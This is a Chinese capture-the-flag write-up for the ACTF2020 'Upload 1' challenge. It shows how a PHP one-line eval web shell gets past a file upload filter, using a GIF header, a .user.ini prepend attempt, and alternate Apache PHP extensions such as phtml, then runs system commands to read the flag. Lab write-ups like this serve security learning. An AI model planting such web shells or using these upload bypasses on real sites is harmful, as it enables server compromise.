[ACTF2020 新生赛]Upload 1--详细解析

信息收集

题目告诉我们是一道upload,也就是文件上传漏洞题目。

进入界面,是一个灯泡,将鼠标放在图标上就会出现文件上传的相应位置:

思路

文件上传漏洞,先看看有没有前端校验。

在js源码中找到了前端校验:
也就是只能上传jpg,png,gif后缀的文件。

先准备一个最基本的一句话木马:

php 复制代码
//shell.php
GIF89a //这里是为了绕过可能存在的文件头检测
<?php @eval($_POST[1])?>

修改为.png后缀,上传并抓包修改回php后缀

注意左上角,返回的内容是nonono~ Bad file!

此时有两种可能,一种是后端对文件后缀进行了过滤;第二种是对文件内容进行了过滤。

如果我们不修改后缀将.png文件直接上传:

会发现左上角显示上传成功。

Upload Success! Look here~

./uplo4d/00bf23e130fa1e525e332ff03dae345d.png

说明后端对文件内容没有被过滤,被过滤的是后缀名

既然后缀名被过滤,我们考虑上传.user.ini文件将成功上传的文件以PHP代码形式解析:

php 复制代码
//.user.ini
GIF89a
auto_prepend_file=00bf23e130fa1e525e332ff03dae345d.png

同样是修改为.png绕过前端校验与MIME验证,再抓包改回来。

Upload Success! Look here~

./uplo4d/7356ccb66a890ccd51ee57dc56bb134c.ini

这里注意.user.ini文件名上传后被修改为7356ccb66a890ccd51ee57dc56bb134c.ini,那么.user.ini就不能发挥作用了,所以上传.user.ini配置文件的方法失败。

这里学习一个新知识点:

在Apache中,以下后缀名都会被服务器解析为PHP文件:

php 复制代码
phtml
php
php3
php4
php5
inc
//下面是对上面的大小写混写绕过
pHtml
pHp
pHp3
pHp4
pHp5
iNc

我们抓包测试一下这些后缀名,看看有没有能上传成功的:

发现html和php的大小写混写都能绕过。

先试了php的大小写混写,确实能上传,但是访问时依然显示解析出错。

还是上传了phtml文件,进入后发现成功访问!

php 复制代码
1=system("ls /");
1=system("tac /flag");

得到flag.

总结

学到了Apache下的php后缀名解析漏洞,今后在面对后端后缀名过滤时又多了一种解决方法。

相关推荐
菩提小狗6 分钟前
src漏洞挖掘思路|网络安全|漏洞挖掘|笔记
笔记·安全·web安全
上海云盾-小余11 分钟前
CDN 加速 + 安全防护:让业务体验与网络安全双向升级
网络·安全·web安全
安博通15 分钟前
从边界设防到内生免疫:AI算力一体机的安全升维之路
人工智能·安全·web安全·gpu算力
聚铭网络44 分钟前
聚铭安全管家平台可视化大屏,打造安全运营的“驾驶舱”与“作战图”
人工智能·网络安全
咆哮的黑化肥1 小时前
Web 文件上传漏洞(+Upload-labs靶场练习)
web安全·网络安全
Whoami!1 小时前
❿⁄₁₁ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击实践 ➱ NTLM哈希传递攻击
网络安全·信息安全·哈希算法·密码破解·ntlm哈希传递
咆哮的黑化肥2 小时前
跨站脚本攻击XSS入门(+DVWA、Pikachu靶场练习)
网络安全·xss
ISACA中国13 小时前
2026年网络安全与AI趋势预测
人工智能·安全·web安全
能年玲奈喝榴莲牛奶17 小时前
安全服务-应急响应
web安全·网络安全·应急响应·安全服务
小快说网安19 小时前
硬核解析:高防 IP 是如何拦截 DDoS 攻击的?从清洗中心到流量调度
网络·tcp/ip·网络安全·ddos